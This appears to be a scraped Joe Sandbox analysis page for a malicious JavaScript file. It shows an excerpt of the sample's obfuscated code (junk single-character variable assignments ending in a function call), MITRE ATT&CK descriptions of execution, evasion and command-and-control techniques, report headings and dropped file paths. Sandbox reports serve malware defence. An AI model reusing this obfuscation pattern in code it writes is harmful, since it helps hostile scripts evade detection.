1263	pjnfxggr = "o";
1264	pjnfxggr = "U";
1265	pjnfxggr = "G";
1266	pjnfxggr = "y";
1267	pjnfxggr = "R";
1268	pjnfxggr = "O";
1269	pjnfxggr = "f";
1270	pjnfxggr = "e";
1271	pjnfxggr = "E";
1272	dlebye = "a";
1273	dlebye = "u";
1274	dlebye = "F";
1275	dlebye = "o";
1276	dlebye = "L";
1277	dlebye = "I";
1278	dlebye = "V";
1279	dlebye = "n";
1280	dlebye = "R";
1281	dlebye = "a";
1282	dlebye = "u";
1283	dlebye = "T";
1284	dlebye = "o";
1285	dlebye = "I";
1286	dlebye = "J";
1287	dlebye = "y";
1288	dlebye = "u";
1289	dlebye = "q";
1290	dlebye = "h";
1291	dlebye = "U";
1292	dlebye = "x";
1293	dlebye = "k";
1294	dlebye = "I";
1295	dlebye = "a";
1296	dlebye = "G";
1297	dlebye = "T";
1298	dlebye = "x";
1299	dlebye = "s";
1300	dlebye = "P";
1301	dlebye = "O";
1302	dlebye = "i";
1303	dlebye = "f";
1304	dlebye = "Y";
1305	dlebye = "S";
1306	dlebye = "X";
1307	dlebye = "D";
1308	dlebye = "P";
1309	dlebye = "R";
1310	dlebye = "k";
1311	dlebye = "h";
1312	dlebye = "N";
1313	dlebye = "m";
1314	dlebye = "2";
1315	vkykcuex = "Y";
1316	vkykcuex = "G";
1317	vkykcuex = "q";
1318	rciauem = "r";
1319	rciauem = "T";
1320	rciauem = "C";
1321	rciauem = "x";
1322	rciauem = "K";
1323	rciauem = "p";
1324	rciauem = "O";
1325	rciauem = "m";
1326	rciauem = "P";
1327	rciauem = "V";
1328	rciauem = "o";
1329	rciauem = "Y";
1330	rciauem = "P";
1331	rciauem = "t";
1332	rciauem = "Q";
1333	rciauem = "m";
1334	rciauem = "H";
1335	rciauem = "c";
1336	rciauem = "B";
1337	rciauem = "s";
1338	rciauem = "Y";
1339	rciauem = "W";
1340	rciauem = "p";
1341	rciauem = "h";
1342	rciauem = "J";
1343	rciauem = "c";
1344	rciauem = "Q";
1345	rciauem = "k";
1346	rciauem = "V";
1347	rciauem = "x";
1348	rciauem = "d";
1349	rciauem = "P";
1350	rciauem = "F";
1351	rciauem = "E";
1352	rciauem = "7";
1353	mhyoe = "j";
1354	mhyoe = "j";
1355	mhyoe = "w";
1356	lesxxfnl = "C";
1357	lesxxfnl = "z";
1358	lesxxfnl = "m";
1359	lesxxfnl = "F";
1360	lesxxfnl = "T";
1361	lesxxfnl = "D";
1362	lesxxfnl = "K";
1363	lesxxfnl = "h";
1364	lesxxfnl = "w";
1365	lesxxfnl = "k";
1366	lesxxfnl = "e";
1367	lesxxfnl = "i";
1368	lesxxfnl = "J";
1369	lesxxfnl = "A";
1370	lesxxfnl = "J";
1371	lesxxfnl = "O";
1372	lesxxfnl = "3";
1373	nkxlqxwdw = "O";
1374	nkxlqxwdw = "Q";
1375	nkxlqxwdw = "Q";
1376	nkxlqxwdw = "G";
1377	nkxlqxwdw = "g";
1378	nkxlqxwdw = "y";
1379	nkxlqxwdw = "e";
1380	nkxlqxwdw = "S";
1381	nkxlqxwdw = "m";
1382	nkxlqxwdw = "a";
1383	nkxlqxwdw = "M";
1384	nkxlqxwdw = "I";
1385	nkxlqxwdw = "J";
1386	nkxlqxwdw = "I";
1387	nkxlqxwdw = "Q";
1388	nkxlqxwdw = "T";
1389	nkxlqxwdw = "A";
1390	nkxlqxwdw = "m";
1391	nkxlqxwdw = "O";
1392	nkxlqxwdw = "D";
1393	nkxlqxwdw = "V";
1394	nkxlqxwdw = "t";
1395	nkxlqxwdw = "O";
1396	nkxlqxwdw = "H";
1397	nkxlqxwdw = "g";
1398	nkxlqxwdw = "u";
1399	nkxlqxwdw = "X";
1400	nkxlqxwdw = "c";
1401	nkxlqxwdw = "U";
1402	nkxlqxwdw = "F";
1403	nkxlqxwdw = "Y";
1404	nkxlqxwdw = "n";
1405	nkxlqxwdw = "h";
1406	yqzffw = "S";
1407	yqzffw = "S";
1408	yqzffw = "D";
1409	yqzffw = "p";
1410	yqzffw = "F";
1411	yqzffw = "J";
1412	yqzffw = "K";
1413	yqzffw = "a";
1414	yqzffw = "M";
1415	yqzffw = "r";
1416	yqzffw = "e";
1417	yqzffw = "K";
1418	yqzffw = "B";
1419	yqzffw = "b";
1420	yqzffw = "S";
1421	yqzffw = "k";
1422	yqzffw = "j";
1423	yqzffw = "m";
1424	yqzffw = "x";
1425	yqzffw = "J";
1426	yqzffw = "r";
1427	yqzffw = "v";
1428	yqzffw = "e";
1429	yqzffw = "V";
1430	yqzffw = "f";
1431	yqzffw = "D";
1432	yqzffw = "s";
1433	yqzffw = "u";
1434	yqzffw = "x";
1435	yqzffw = "i";
1436	yqzffw = "p";
1437	yqzffw = "m";
1438	yqzffw = "F";
1439	yqzffw = "s";
1440	yqzffw = "j";
1441	yqzffw = "m";
1442	yqzffw = "P";
1443	yqzffw = "x";
1444	yqzffw = "f";
1445	yqzffw = "v";
1446	yqzffw = "N";
1447	yqzffw = "\"";
1448	csjntgiqy = "P";
1449	csjntgiqy = "X";
1450	csjntgiqy = "U";
1451	csjntgiqy = "e";
1452	csjntgiqy = "w";
1453	csjntgiqy = "A";
1454	csjntgiqy = "O";
1455	csjntgiqy = "M";
1456	csjntgiqy = "J";
1457	csjntgiqy = "u";
1458	csjntgiqy = "r";
1459	csjntgiqy = "G";
1460	csjntgiqy = "g";
1461	csjntgiqy = "c";
1462	csjntgiqy = "S";
1463	csjntgiqy = "c";
1464	csjntgiqy = "f";
1465	csjntgiqy = "M";
1466	csjntgiqy = "d";
1467	csjntgiqy = "C";
1468	csjntgiqy = "Z";
1469	csjntgiqy = "p";
1470	csjntgiqy = "f";
1471	csjntgiqy = "N";
1472	mgaff = "j";
1473	mgaff = "v";
1474	mgaff = "j";
1475	mgaff = "Z";
1476	mgaff = "q";
1477	mgaff = "a";
1478	mgaff = "a";
1479	mgaff = "Z";
1480	mgaff = "d";
1481	mgaff = "b";
1482	mgaff = "S";
1483	mgaff = "I";
1484	mgaff = "x";
1485	mgaff = "z";
1486	mgaff = "R";
1487	mgaff = "r";
1488	mgaff = "Q";
1489	mgaff = "F";
1490	mgaff = "l";
1491	mgaff = "m";
1492	mgaff = "Z";
1493	mgaff = "b";
1494	mgaff = "a";
1495	mgaff = "e";
1496	mgaff = "t";
1497	mgaff = "z";
1498	mgaff = "x";
1499	mgaff = "G";
1500	mgaff = "r";
1501	mgaff = "C";
1502	mgaff = "Z";
1503	mgaff = "c";
1504	mgaff = "%";
1505	mwmrm = "h";
1506	mwmrm = "Y";
1507	mwmrm = "z";
1508	mwmrm = "p";
1509	mwmrm = "E";
1510	mwmrm = "W";
1511	mwmrm = "V";
1512	mwmrm = "U";
1513	mwmrm = "a";
1514	mwmrm = "L";
1515	gdzuexdmv = "c";
1516	gdzuexdmv = "s";
1517	gdzuexdmv = "X";
1518	gdzuexdmv = "n";
1519	gdzuexdmv = "b";
1520	gdzuexdmv = "i";
1521	gdzuexdmv = "Z";
1522	gdzuexdmv = "E";
1523	gdzuexdmv = "E";
1524	gdzuexdmv = "d";
1525	gdzuexdmv = "X";
1526	gdzuexdmv = "a";
1527	gdzuexdmv = "u";
1528	gdzuexdmv = "I";
1529	gdzuexdmv = "x";
1530	gdzuexdmv = "_";
1531	rnfjjpb ( );	rnfjjpb() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1272729276326267500.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\31926084-fe11-4903-a588-7c2bd6e1a844.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF46b5ce.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f0b97623-b156-4dc7-a74a-1aa6a65b681c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
1272729276326267500.js